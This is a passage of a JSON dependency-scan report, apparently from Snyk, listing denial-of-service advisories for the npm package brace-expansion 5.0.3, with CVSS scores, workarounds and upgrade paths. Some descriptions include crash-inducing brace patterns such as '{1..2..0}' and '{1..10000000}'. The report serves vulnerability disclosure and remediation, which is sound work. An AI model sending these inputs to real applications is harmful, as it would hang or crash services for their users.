"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": 